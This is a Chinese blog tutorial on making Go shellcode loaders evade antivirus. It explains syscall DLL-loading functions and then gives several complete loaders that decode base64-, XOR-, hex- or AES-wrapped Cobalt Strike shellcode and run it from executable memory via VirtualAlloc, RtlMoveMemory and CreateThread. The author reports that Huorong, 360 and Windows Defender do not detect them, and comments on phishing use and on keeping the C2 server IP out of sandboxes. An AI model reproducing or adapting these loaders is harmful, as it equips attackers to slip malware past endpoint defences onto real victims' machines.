在之前的文章已经写过了C、Python的方式去实现shellcode的免杀及敏感函数的绕过,其实写了这么多无非就是利用不同的方式打组合拳去绕过AV的检测,剩下的伪装和加壳等操作看两篇文章就好了我感觉没必要单独写一篇怎么去用工具做这些事情。
花了几天的时间学习了golang基础到爬虫,至此开始研究golang的免杀方式,做一下测试的记录。
执行shellcode的常规流程:
在windows机器中想要shellcode能够执行,肯定离不开Windows中的API函数,golang中能够直接调用的API并不多同样需要导入DLL进行函数调用,那么这里我们来看看如果载入DLL实现函数的调用。
syscall包
包含一个到低级操作系统原语的接口。我们将要用这个包里的方法去实现DLL的调用,但是里面的DLL调用方法有多个,这里分别测试下调用的区别。
syscall包实现了loadlibrary的方法,包括后面的前两种调用dll的方式都是在这个函数的基础上进行封装,如果要更深入的挖底层,需要进一步跟进go源码。
func loadlibrary(filename *uint16) (handle uintptr, err Errno)
DLL 实现对单个 DLL 的访问。
type DLL struct { Name string // DLL名称 Handle Handle // DLL句柄 }
LoadDLL 将命名的 DLL 文件加载到内存中。如果 name 不是绝对路径并且不是 Go 使用的已知系统 DLL,Windows 将在许多位置搜索命名的 DLL,从而导致潜在的 DLL 预加载攻击。使用 golang.org/x/sys/windows
中的 LazyDLL 以安全的方式加载系统 DLL。
看以上官方文档的意思,LoadDLL此方法可能存在安全隐患,但是对于我们调用shellcode来讲并不需要从目标机器的安全进行考虑,如果想用安全的方法就去安装官方文档推荐的包:go get -u golang.org/x/sys/windows
func LoadDLL(name string ) (* DLL , error )
syscall包实现LoadDLL方法的源码,暂时先放在这里,如果免杀效果不好的话我们可以从源码层面入手。
func LoadDLL(name string) (*DLL, error) { namep, err := UTF16PtrFromString(name) if err != nil { return nil, err } var h uintptr var e Errno if sysdll.IsSystemDLL[name] { absoluteFilepathp, err := UTF16PtrFromString(systemDirectoryPrefix + name) if err != nil { return nil, err } h, e = loadsystemlibrary(namep, absoluteFilepathp) } else { h, e = loadlibrary(namep) } if e != 0 { return nil, &DLLError{ Err: e, ObjName: name, Msg: "Failed to load " + name + ": " + e.Error(), } } d := &DLL{ Name: name, Handle: Handle(h), } return d, nil }
MustLoadDLL 与 LoadDLL 类似,但如果加载操作失败,则会触发panic异常。
func MustLoadDLL(name string) *DLL
但看源码也能看出这个MustLoadDLL只是简单的对LoadDLL做了一下封装,同样的我们也可以对此源码做修改达到绕过,现在写这个只是yy还没验证。
func MustLoadDLL(name string) *DLL { d, e := LoadDLL(name) if e != nil { panic(e) } return d }
LazyDLL 实现对单个 DLL 的访问。 它将延迟 DLL 的加载,直到第一次调用其 Handle 方法或其 LazyProc 的 Addr 方法之一。LazyDLL 受到与 LoadDLL 中记录的相同的 DLL 预加载攻击。使用 golang.org/x/sys/windows
中的 LazyDLL 以安全的方式加载系统 DLL。
type LazyDLL struct { Name string // 包含过滤或未导出的字段 }
NewLazyDLL 创建与 DLL 文件关联的新 LazyDLL。
func NewLazyDLL(name string) *LazyDLL
func NewLazyDLL(name string) *LazyDLL { return &LazyDLL{Name: name} }
以上就是获取DLL句柄的几种方法,可能还不够全面!
获取函数地址
func getprocaddress(handle uintptr, procname *uint8) (proc uintptr, err Errno)
type Proc struct { Dll *DLL Name string addr uintptr }
FindProc 在 DLL d 中搜索名为 name 的过程并返回 *Proc ,如果找到。 如果搜索失败,则返回错误。 <font color=#F48FB1>翻译过来就是获取函数的地址</font>
func (d *DLL) FindProc(name string) (proc *Proc, err error)
在源码中我们看的出来同样有更底层的方式去获取函数地址。
func (d *DLL) FindProc(name string) (proc *Proc, err error) { namep, err := BytePtrFromString(name) if err != nil { return nil, err } a, e := getprocaddress(uintptr(d.Handle), namep) if e != 0 { return nil, &DLLError{ Err: e, ObjName: name, Msg: "Failed to find " + name + " procedure in " + d.Name + ": " + e.Error(), } } p := &Proc{ Dll: d, Name: name, addr: a, } return p, nil }
MustFindProc 与 FindProc 类似,但如果搜索失败,则会出现panic异常。
func (d *DLL) MustFindProc(name string) *Proc
func (d *DLL) MustFindProc(name string) *Proc { p, e := d.FindProc(name) if e != nil { panic(e) } return p }
type LazyProc struct { mu sync.Mutex Name string l *LazyDLL proc *Proc }
NewProc 返回一个 LazyProc 用于访问 DLL 中的命名过程 d.
func (d *LazyDLL) NewProc(name string) *LazyProc
以上基本上就是目前获取函数地址的几种方法!
func SyscallN(trap uintptr, args ...uintptr) (r1, r2 uintptr, err Errno)
func (p *Proc) Call(a ...uintptr) (uintptr, uintptr, error)
func (p *Proc) Call(a ...uintptr) (uintptr, uintptr, error) { return SyscallN(p.Addr(), a...) }
func (p *LazyProc) Call(a ...uintptr) (r1, r2 uintptr, lastErr error)
func (p *LazyProc) Call(a ...uintptr) (r1, r2 uintptr, lastErr error) { p.mustFind() return p.proc.Call(a...) }
以上基本上就是目前获取函数调用的几种方法!
golang运行隐藏黑框方法:go build -ldflags="-H windowsgui" xxx.go
// https://pkg.go.dev/cmd/link -H type Set executable format type. The default format is inferred from GOOS and GOARCH. On Windows, -H windowsgui writes a "GUI binary" instead of a "console binary."
没想到踩坑了,我忘记了go指针的差异,直接用&buf还没办法执行必须以&buf[0]的方式调用,因为&buf获取的是指针数组的地址并不是shellcode的首地址,指针数组只是一个存储指针的数组,所以要获取数组里的指针就需要用下标获取。
/* time: 2022-04-24 2:00 file: main.go */ package main import ( "syscall" "unsafe" ) const ( 提交物理内存 = 0x1000 // Mem_Commit 保留线性地址 = 0x2000 // Mem_Reserve 内存页可读可写可执行 = 0x40 // Page_Execute_ReadWrite ) var ( Kernel32, _ = syscall.LoadLibrary("Kernel32.dll") 创建线程, _ = syscall.GetProcAddress(Kernel32, "CreateThread") 申请虚拟内存, _ = syscall.GetProcAddress(Kernel32, "VirtualAlloc") 内存复制, _ = syscall.GetProcAddress(Kernel32, "RtlMoveMemory") 线程等待,_ = syscall.GetProcAddress(Kernel32, "WaitForSingleObject") 函数调用 = syscall.SyscallN ) func main() { buf := []byte("\xfc\x48\x83...") lpMem, _, _ := 函数调用(申请虚拟内存, uintptr(0), uintptr(len(buf)), 提交物理内存|保留线性地址, 内存页可读可写可执行) _, _, _ = 函数调用(内存复制, lpMem, uintptr(unsafe.Pointer(&buf[0])), uintptr(len(buf))) // 1. 创建线程的方式执行shellcode hThread, _, _ := 函数调用(创建线程, 0, 0, lpMem, 0, 0, 0) _,_,_ = 函数调用(线程等待,hThread,uintptr(0xffff)) // 2. 直接用syscall调用shellcode // 函数调用(lpMem) // 释放Kernel32.dll _ = syscall.FreeLibrary(Kernel32) }
以上代码单纯的用CS的shellcode是没办法免杀的,所以我们做一个base64加密试试。
// golang base64加解密
package main
import (
"encoding/base64"
"fmt"
)
func main(){
// 加密
buf := []byte("\xfc\x48\\...")
enc := base64.StdEncoding.EncodeToString(buf)
fmt.Println(enc)
// 解密
dec, _ := base64.StdEncoding.DecodeString(enc)
fmt.Println(dec)
}
/* time: 2022-04-24 2:00 file: main.go */ package main import ( "encoding/base64" "syscall" "unsafe" ) const ( 提交物理内存 = 0x1000 // Mem_Commit 保留线性地址 = 0x2000 // Mem_Reserve 内存页可读可写可执行 = 0x40 // Page_Execute_ReadWrite ) var ( Kernel32, _ = syscall.LoadLibrary("Kernel32.dll") 创建线程, _ = syscall.GetProcAddress(Kernel32, "CreateThread") 申请虚拟内存, _ = syscall.GetProcAddress(Kernel32, "VirtualAlloc") 内存复制, _ = syscall.GetProcAddress(Kernel32, "RtlMoveMemory") 线程等待,_ = syscall.GetProcAddress(Kernel32, "WaitForSingleObject") 函数调用 = syscall.SyscallN ) func main() { buf, _ := base64.StdEncoding.DecodeString("/EiD5PDoyA...GWmgjQ==") lpMem, _, _ := 函数调用(申请虚拟内存, uintptr(0), uintptr(len(buf)), 提交物理内存|保留线性地址, 内存页可读可写可执行) _, _, _ = 函数调用(内存复制, lpMem, uintptr(unsafe.Pointer(&buf[0])), uintptr(len(buf))) hThread, _, _ := 函数调用(创建线程, 0, 0, lpMem, 0, 0, 0) _,_,_ = 函数调用(线程等待,hThread,uintptr(0xffffffff)) _ = syscall.FreeLibrary(Kernel32) }
代码b64加密过后,编译火绒
不报毒,正常上线执行指令且吊打火绒,Server 2016 Windows Derfender,测试无法过360。
经测试,无法过360的原因竟然是b64加密的原因,这里对shellcode做异或
成功绕过了360的查杀和指令的正常执行。
/* time: 2022-04-24 2:00 file: main.go */ package main import ( "encoding/base64" "os" "syscall" "unsafe" ) const ( 提交物理内存 = 0x1000 // Mem_Commit 保留线性地址 = 0x2000 // Mem_Reserve 内存页可读可写可执行 = 0x40 // Page_Execute_ReadWrite ) var ( Kernel32, _ = syscall.LoadLibrary("Kernel32.dll") 创建线程, _ = syscall.GetProcAddress(Kernel32, "CreateThread") 申请虚拟内存, _ = syscall.GetProcAddress(Kernel32, "VirtualAlloc") 内存复制, _ = syscall.GetProcAddress(Kernel32, "RtlMoveMemory") 线程等待,_ = syscall.GetProcAddress(Kernel32, "WaitForSingleObject") 函数调用 = syscall.SyscallN ) func main() { // 接收终端参数,懂得都懂 b64 := os.Args[1] buf, _ := base64.StdEncoding.DecodeString(b64) lpMem, _, _ := 函数调用(申请虚拟内存, uintptr(0), uintptr(len(buf)), 提交物理内存|保留线性地址, 内存页可读可写可执行) _, _, _ = 函数调用(内存复制, lpMem, uintptr(unsafe.Pointer(&buf[0])), uintptr(len(buf))) hThread, _, _ := 函数调用(创建线程, 0, 0, lpMem, 0, 0, 0) _,_,_ = 函数调用(线程等待,hThread,uintptr(0xffffffff)) //函数调用(lpMem) _ = syscall.FreeLibrary(Kernel32) }
加载器相对来说丢给沙箱会比较安全,因为直接在程序里贴shellcode沙箱分析会截取到服务器的ip,从而暴露自己,相对的如果钓鱼用加载器的话就需要有载体存储shellcode否则只有加载器也没用。。以加载器的形式360扫描不报毒,正常上线执行指令。
/* time: 2022-04-24 2:00 file: main.go */ package main import ( "syscall" "unsafe" ) const ( 提交物理内存 = 0x1000 // Mem_Commit 保留线性地址 = 0x2000 // Mem_Reserve 内存页可读可写可执行 = 0x40 // Page_Execute_ReadWrite ) var ( Kernel32, _ = syscall.LoadDLL("Kernel32.dll") 创建线程, _ = Kernel32.FindProc("CreateThread") 申请虚拟内存, _ = Kernel32.FindProc( "VirtualAlloc") 内存复制, _ = Kernel32.FindProc( "RtlMoveMemory") 线程等待,_ = Kernel32.FindProc( "WaitForSingleObject") ) func main() { /*xor*/ buf := []byte{206,122,177,...} for i:=0;i<len(buf);i++{ buf[i] ^= 50 } lpMem, _, _ := 申请虚拟内存.Call( uintptr(0), uintptr(len(buf)), 提交物理内存|保留线性地址, 内存页可读可写可执行) _,_,_ = 内存复制.Call(lpMem, uintptr(unsafe.Pointer(&buf[0])), uintptr(len(buf))) _,_,_ = syscall.SyscallN(lpMem) _ = Kernel32.Release() }
编译火绒不报毒且正常执行指令,360,server 2016 defender检测不报毒,上线应该没问题,不测了。
// hex加解密
package main
import (
"encoding/hex"
"fmt"
)
func main() {
// hex加密
enc := hex.EncodeToString(buf)
fmt.Println(enc)
// hex解密
dec,_ := hex.DecodeString(enc)
fmt.Println(string(dec))
}
不出意外的话应该是没有意外了,哈哈。
/* time: 2022-04-24 2:00 file: main.go */ package main import ( "encoding/hex" "os" "syscall" "unsafe" ) const ( 提交物理内存 = 0x1000 // Mem_Commit 保留线性地址 = 0x2000 // Mem_Reserve 内存页可读可写可执行 = 0x40 // Page_Execute_ReadWrite ) var ( Kernel32, _ = syscall.LoadDLL("Kernel32.dll") 创建线程, _ = Kernel32.FindProc("CreateThread") 申请虚拟内存, _ = Kernel32.FindProc( "VirtualAlloc") 内存复制, _ = Kernel32.FindProc( "RtlMoveMemory") 线程等待,_ = Kernel32.FindProc( "WaitForSingleObject") ) func main() { HEX := os.Args[1] buf,_ := hex.DecodeString(HEX) lpMem, _, _ := 申请虚拟内存.Call( uintptr(0), uintptr(len(buf)), 提交物理内存|保留线性地址, 内存页可读可写可执行) _,_,_ = 内存复制.Call(lpMem, uintptr(unsafe.Pointer(&buf[0])), uintptr(len(buf))) _,_,_ = syscall.SyscallN(lpMem) _ = Kernel32.Release() }
这个方法只是对LoadDLL的封装,所以差别都不大。
/* time: 2022-04-24 2:00 file: main.go */ package main import ( "syscall" "unsafe" ) const ( 提交物理内存 = 0x1000 // Mem_Commit 保留线性地址 = 0x2000 // Mem_Reserve 内存页可读可写可执行 = 0x40 // Page_Execute_ReadWrite ) var ( Kernel32 = syscall.MustLoadDLL("Kernel32.dll") 创建线程 = Kernel32.MustFindProc("CreateThread") 申请虚拟内存 = Kernel32.MustFindProc("VirtualAlloc") 内存复制 = Kernel32.MustFindProc("RtlMoveMemory") 线程等待 = Kernel32.MustFindProc("WaitForSingleObject") ) func main() { /*xor*/ buf := []byte{206,122,177...} for i:=0;i<len(buf);i++{ buf[i] ^= 50 } lpMem, _, _ := 申请虚拟内存.Call(uintptr(0), uintptr(len(buf)), 提交物理内存|保留线性地址, 内存页可读可写可执行) _, _, _ = 内存复制.Call(lpMem, uintptr(unsafe.Pointer(&buf[0])), uintptr(len(buf))) _, _, _ = syscall.SyscallN(lpMem) _ = Kernel32.Release() }
golang中的aes加解密需要做些处理,为了方便我直接用了别人写好的aes加解密代码。
参考代码:https://blog.csdn.net/mirage003/article/details/87868999
// Aes CBC模式加解密 /* time: 2022-04-24 2:00 file: main.go */ package main import ( "bytes" "crypto/aes" "crypto/cipher" "encoding/hex" "fmt" ) // 位数填充 func pkcs5Padding(ciphertext []byte, blockSize int) []byte { padding := blockSize - len(ciphertext)%blockSize padtext := bytes.Repeat([]byte{byte(padding)}, padding) return append(ciphertext, padtext...) } func pkcs5UnPadding(origData []byte) []byte { length := len(origData) unpadding := int(origData[length-1]) return origData[:(length - unpadding)] } func AesDecryptCBC(encrypted []byte, key []byte) (decrypted []byte) { block, _ := aes.NewCipher(key) // 分组秘钥 blockSize := block.BlockSize() // 获取秘钥块的长度 blockMode := cipher.NewCBCDecrypter(block, key[:blockSize]) // 加密模式 decrypted = make([]byte, len(encrypted)) // 创建数组 blockMode.CryptBlocks(decrypted, encrypted) // 解密 decrypted = pkcs5UnPadding(decrypted) // 去除补全码 return decrypted } func AesEncryptCBC(origData []byte, key []byte) (encrypted []byte) { // 分组秘钥 // NewCipher该函数限制了输入k的长度必须为16, 24或者32 block, _ := aes.NewCipher(key) blockSize := block.BlockSize() // 获取秘钥块的长度 origData = pkcs5Padding(origData, blockSize) // 补全码 blockMode := cipher.NewCBCEncrypter(block, key[:blockSize]) // 加密模式 encrypted = make([]byte, len(origData)) // 创建数组 blockMode.CryptBlocks(encrypted, origData) // 加密 return encrypted } func main() { buf := []byte("\xfc\x48\x83...") /*aes*/ // 加密 key := []byte("0123456789123456") enc := AesEncryptCBC(buf,key) dst := make([]byte,2048) n := hex.Encode(dst,enc) // 解密 enc,_ = hex.DecodeString(string(dst[:n])) dec := AesDecryptCBC(enc,key) fmt.Println(string(dec)) }
加载器代码,这里的key可以选择外部接收,也可以选择放在内部。
/* time: 2022-04-24 2:00 file: main.go Author: ILU */ package main import ( "bytes" "crypto/aes" "crypto/cipher" "encoding/hex" "os" "syscall" "unsafe" ) const ( 提交物理内存 = 0x1000 // Mem_Commit 保留线性地址 = 0x2000 // Mem_Reserve 内存页可读可写可执行 = 0x40 // Page_Execute_ReadWrite ) var ( Kernel32 = syscall.MustLoadDLL("Kernel32.dll") 创建线程 = Kernel32.MustFindProc("CreateThread") 申请虚拟内存 = Kernel32.MustFindProc("VirtualAlloc") 内存复制 = Kernel32.MustFindProc("RtlMoveMemory") 线程等待 = Kernel32.MustFindProc("WaitForSingleObject") ) // 位数填充 func pkcs5Padding(ciphertext []byte, blockSize int) []byte { padding := blockSize - len(ciphertext)%blockSize padtext := bytes.Repeat([]byte{byte(padding)}, padding) return append(ciphertext, padtext...) } func pkcs5UnPadding(origData []byte) []byte { length := len(origData) unpadding := int(origData[length-1]) return origData[:(length - unpadding)] } func AesDecryptCBC(encrypted []byte, key []byte) (decrypted []byte) { block, _ := aes.NewCipher(key) // 分组秘钥 blockSize := block.BlockSize() // 获取秘钥块的长度 blockMode := cipher.NewCBCDecrypter(block, key[:blockSize]) // 加密模式 decrypted = make([]byte, len(encrypted)) // 创建数组 blockMode.CryptBlocks(decrypted, encrypted) // 解密 decrypted = pkcs5UnPadding(decrypted) // 去除补全码 return decrypted } func AesEncryptCBC(origData []byte, key []byte) (encrypted []byte) { // 分组秘钥 // NewCipher该函数限制了输入k的长度必须为16, 24或者32 block, _ := aes.NewCipher(key) blockSize := block.BlockSize() // 获取秘钥块的长度 origData = pkcs5Padding(origData, blockSize) // 补全码 blockMode := cipher.NewCBCEncrypter(block, key[:blockSize]) // 加密模式 encrypted = make([]byte, len(origData)) // 创建数组 blockMode.CryptBlocks(encrypted, origData) // 加密 return encrypted } func main() { // 解密 dst := os.Args[1] enc,_ := hex.DecodeString(dst) buf := AesDecryptCBC(enc,key) lpMem, _, _ := 申请虚拟内存.Call(uintptr(0), uintptr(len(buf)), 提交物理内存|保留线性地址, 内存页可读可写可执行) _, _, _ = 内存复制.Call(lpMem, uintptr(unsafe.Pointer(&buf[0])), uintptr(len(buf))) _, _, _ = syscall.SyscallN(lpMem) _ = Kernel32.Release() }
其实都差不多了,最后一点就偷个懒好了,不做过多的处理了。
/* time: 2022-04-24 2:00 file: main.go */ package main import ( "syscall" "unsafe" ) const ( 提交物理内存 = 0x1000 // Mem_Commit 保留线性地址 = 0x2000 // Mem_Reserve 内存页可读可写可执行 = 0x40 // Page_Execute_ReadWrite ) var ( Kernel32 = syscall.NewLazyDLL("Kernel32.dll") 创建线程 = Kernel32.NewProc("CreateThread") 申请虚拟内存 = Kernel32.NewProc("VirtualAlloc") 内存复制 = Kernel32.NewProc("RtlMoveMemory") 线程等待 = Kernel32.NewProc("WaitForSingleObject") ) func main() { /*xor*/ buf := []byte{206, 122, 177...} for i := 0; i < len(buf); i++ { buf[i] ^= 50 } lpMem, _, _ := 申请虚拟内存.Call(uintptr(0), uintptr(len(buf)), 提交物理内存|保留线性地址, 内存页可读可写可执行) _, _, _ = 内存复制.Call(lpMem, uintptr(unsafe.Pointer(&buf[0])), uintptr(len(buf))) _, _, _ = syscall.SyscallN(lpMem) }
本地火绒检测不报毒,正常执行指令!
到这里篇幅也挺长了,本篇的golang免杀基础就告一段落了,下次再会!